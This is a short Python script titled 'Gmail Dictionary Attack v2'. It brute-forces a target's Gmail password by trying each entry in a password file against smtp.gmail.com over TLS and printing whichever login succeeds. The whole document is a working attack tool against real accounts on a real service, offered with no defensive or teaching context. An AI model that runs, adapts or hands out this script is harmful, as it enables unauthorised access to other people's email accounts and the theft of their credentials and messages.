Gmail Dictionary Attack

# Program: Gmail Dictionary Attack v2
# Author: BurnCT
# Purpose: Brute force smtp.gmail.com using a dictionary attack over TLS.

import smtplib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

user = raw_input("Enter the target's email address: ")
passwfile = raw_input("Enter the password file name: ")
passwfile = open(passwfile, "r")

for password in passwfile:
    try:
        smtpserver.login(user, password)

        print "[+] Password Found: %s" % password
        break;
    except smtplib.SMTPAuthenticationError:
        print "[!] Password Incorrect: %s" % password